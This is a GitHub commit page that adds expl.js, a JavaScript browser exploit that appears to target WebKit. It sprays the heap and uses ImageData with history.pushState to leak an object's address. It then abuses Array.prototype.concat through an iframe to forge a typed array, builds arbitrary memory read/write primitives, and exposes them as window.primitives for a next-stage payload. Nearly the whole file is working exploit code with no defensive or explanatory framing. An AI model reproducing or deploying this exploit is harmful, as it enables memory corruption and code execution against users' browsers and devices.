Skip to content

Commit c86ccbf

Browse files
authored
Add files via upload
1 parent 9b768a1 commit c86ccbf

8 files changed

Lines changed: 16678 additions & 0 deletions

File tree

expl.js

Lines changed: 330 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,330 @@
1+
function makeid() {
2+
var text = "";
3+
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
4+
5+
for (var i = 0; i < 8; i++)
6+
text += possible.charAt(Math.floor(Math.random() * possible.length));
7+
8+
return text;
9+
};
10+
11+
var instancespr = [];
12+
13+
for (var i = 0; i < 4096; i++) {
14+
instancespr[i] = new Uint32Array(1);
15+
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
16+
}
17+
18+
var _dview;
19+
20+
function u2d(low, hi) {
21+
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
22+
_dview.setUint32(0, hi);
23+
_dview.setUint32(4, low);
24+
return _dview.getFloat64(0);
25+
}
26+
var dgc = function () {
27+
for (var i = 0; i < 0x100; i++) {
28+
new ArrayBuffer(0x100000);
29+
}
30+
}
31+
32+
function int64(low, hi) {
33+
this.low = (low >>> 0);
34+
this.hi = (hi >>> 0);
35+
36+
this.add32inplace = function (val) {
37+
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
38+
var new_hi = (this.hi >>> 0);
39+
40+
if (new_lo < this.low) {
41+
new_hi++;
42+
}
43+
44+
this.hi = new_hi;
45+
this.low = new_lo;
46+
}
47+
48+
this.add32 = function (val) {
49+
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
50+
var new_hi = (this.hi >>> 0);
51+
52+
if (new_lo < this.low) {
53+
new_hi++;
54+
}
55+
56+
return new int64(new_lo, new_hi);
57+
}
58+
59+
this.sub32 = function (val) {
60+
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
61+
var new_hi = (this.hi >>> 0);
62+
63+
if (new_lo > (this.low) & 0xFFFFFFFF) {
64+
new_hi--;
65+
}
66+
67+
return new int64(new_lo, new_hi);
68+
}
69+
70+
this.sub32inplace = function (val) {
71+
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
72+
var new_hi = (this.hi >>> 0);
73+
74+
if (new_lo > (this.low) & 0xFFFFFFFF) {
75+
new_hi--;
76+
}
77+
78+
this.hi = new_hi;
79+
this.low = new_lo;
80+
}
81+
82+
this.and32 = function (val) {
83+
var new_lo = this.low & val;
84+
var new_hi = this.hi;
85+
return new int64(new_lo, new_hi);
86+
}
87+
88+
this.and64 = function (vallo, valhi) {
89+
var new_lo = this.low & vallo;
90+
var new_hi = this.hi & valhi;
91+
return new int64(new_lo, new_hi);
92+
}
93+
94+
this.toString = function (val) {
95+
val = 16;
96+
var lo_str = (this.low >>> 0).toString(val);
97+
var hi_str = (this.hi >>> 0).toString(val);
98+
99+
if (this.hi == 0)
100+
return lo_str;
101+
else
102+
lo_str = zeroFill(lo_str, 8)
103+
104+
return hi_str + lo_str;
105+
}
106+
107+
this.toPacked = function () {
108+
return {
109+
hi: this.hi,
110+
low: this.low
111+
};
112+
}
113+
114+
this.setPacked = function (pck) {
115+
this.hi = pck.hi;
116+
this.low = pck.low;
117+
return this;
118+
}
119+
120+
return this;
121+
}
122+
123+
function zeroFill(number, width) {
124+
width -= number.toString().length;
125+
126+
if (width > 0) {
127+
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
128+
}
129+
130+
return number + ""; // always return a string
131+
}
132+
133+
var nogc = [];
134+
135+
var fail = function () {
136+
alert.apply(null, arguments);
137+
throw "fail";
138+
}
139+
140+
// Target JSObject for overlap
141+
var tgt = {
142+
a: 0,
143+
b: 0,
144+
c: 0,
145+
d: 0
146+
}
147+
148+
var y = new ImageData(1, 0x4000)
149+
postMessage("", "*", [y.data.buffer]);
150+
151+
// Spray properties to ensure object is fastmalloc()'d and can be found easily later
152+
var props = {};
153+
154+
for (var i = 0;
155+
(i < (0x4000 / 2));) {
156+
props[i++] = {
157+
value: 0x42424242
158+
};
159+
props[i++] = {
160+
value: tgt
161+
};
162+
}
163+
164+
var foundLeak = undefined;
165+
var foundIndex = 0;
166+
var maxCount = 0x100;
167+
168+
while (foundLeak == undefined && maxCount > 0) {
169+
maxCount--;
170+
171+
history.pushState(y, "");
172+
173+
Object.defineProperties({}, props);
174+
175+
var leak = new Uint32Array(history.state.data.buffer);
176+
177+
for (var i = 0; i < leak.length - 6; i++) {
178+
if (
179+
leak[i] == 0x42424242 &&
180+
leak[i + 0x1] == 0xFFFF0000 &&
181+
leak[i + 0x2] == 0x00000000 &&
182+
leak[i + 0x3] == 0x00000000 &&
183+
leak[i + 0x4] == 0x00000000 &&
184+
leak[i + 0x5] == 0x00000000 &&
185+
leak[i + 0x6] == 0x0000000E &&
186+
leak[i + 0x7] == 0x00000000 &&
187+
leak[i + 0xA] == 0x00000000 &&
188+
leak[i + 0xB] == 0x00000000 &&
189+
leak[i + 0xC] == 0x00000000 &&
190+
leak[i + 0xD] == 0x00000000 &&
191+
leak[i + 0xE] == 0x0000000E &&
192+
leak[i + 0xF] == 0x00000000
193+
) {
194+
foundIndex = i;
195+
foundLeak = leak;
196+
break;
197+
}
198+
}
199+
}
200+
201+
if (!foundLeak) {
202+
failed = true
203+
fail("Failed to find leak!")
204+
}
205+
206+
var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
207+
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
208+
209+
Array.prototype.__defineGetter__(100, () => 1);
210+
211+
var f = document.body.appendChild(document.createElement('iframe'));
212+
var a = new f.contentWindow.Array(13.37, 13.37);
213+
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
214+
215+
var master = new Uint32Array(0x1000);
216+
var slave = new Uint32Array(0x1000);
217+
var leakval_u32 = new Uint32Array(0x1000);
218+
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
219+
220+
// Create fake ArrayBufferView
221+
tgt.a = u2d(2048, 0x1602300);
222+
tgt.b = 0;
223+
tgt.c = leakval_helper;
224+
tgt.d = 0x1337;
225+
226+
var c = Array.prototype.concat.call(a, b);
227+
document.body.removeChild(f);
228+
var hax = c[0];
229+
c[0] = 0;
230+
231+
tgt.c = c;
232+
233+
hax[2] = 0;
234+
hax[3] = 0;
235+
236+
Object.defineProperty(Array.prototype, 100, {
237+
get: undefined
238+
});
239+
240+
tgt.c = leakval_helper;
241+
var butterfly = new int64(hax[2], hax[3]);
242+
butterfly.low += 0x10;
243+
244+
tgt.c = leakval_u32;
245+
var lkv_u32_old = new int64(hax[4], hax[5]);
246+
hax[4] = butterfly.low;
247+
hax[5] = butterfly.hi;
248+
// Setup read/write primitive
249+
250+
tgt.c = master;
251+
hax[4] = leakval_u32[0];
252+
hax[5] = leakval_u32[1];
253+
254+
var addr_to_slavebuf = new int64(master[4], master[5]);
255+
tgt.c = leakval_u32;
256+
hax[4] = lkv_u32_old.low;
257+
hax[5] = lkv_u32_old.hi;
258+
259+
tgt.c = 0;
260+
hax = 0;
261+
262+
var prim = {
263+
write8: function (addr, val) {
264+
master[4] = addr.low;
265+
master[5] = addr.hi;
266+
267+
if (val instanceof int64) {
268+
slave[0] = val.low;
269+
slave[1] = val.hi;
270+
} else {
271+
slave[0] = val;
272+
slave[1] = 0;
273+
}
274+
275+
master[4] = addr_to_slavebuf.low;
276+
master[5] = addr_to_slavebuf.hi;
277+
},
278+
279+
write4: function (addr, val) {
280+
master[4] = addr.low;
281+
master[5] = addr.hi;
282+
283+
slave[0] = val;
284+
285+
master[4] = addr_to_slavebuf.low;
286+
master[5] = addr_to_slavebuf.hi;
287+
},
288+
289+
read8: function (addr) {
290+
master[4] = addr.low;
291+
master[5] = addr.hi;
292+
293+
var rtv = new int64(slave[0], slave[1]);
294+
295+
master[4] = addr_to_slavebuf.low;
296+
master[5] = addr_to_slavebuf.hi;
297+
298+
return rtv;
299+
},
300+
301+
read4: function (addr) {
302+
master[4] = addr.low;
303+
master[5] = addr.hi;
304+
305+
var rtv = slave[0];
306+
307+
master[4] = addr_to_slavebuf.low;
308+
master[5] = addr_to_slavebuf.hi;
309+
310+
return rtv;
311+
},
312+
313+
leakval: function (jsval) {
314+
leakval_helper[0] = jsval;
315+
var rtv = this.read8(butterfly);
316+
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
317+
318+
return rtv;
319+
},
320+
321+
createval: function (jsval) {
322+
this.write8(butterfly, jsval);
323+
var rt = leakval_helper[0];
324+
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
325+
return rt;
326+
}
327+
};
328+
329+
window.primitives = prim;
330+
if (window.postExpl) window.postExpl();

0 commit comments

Comments
 (0)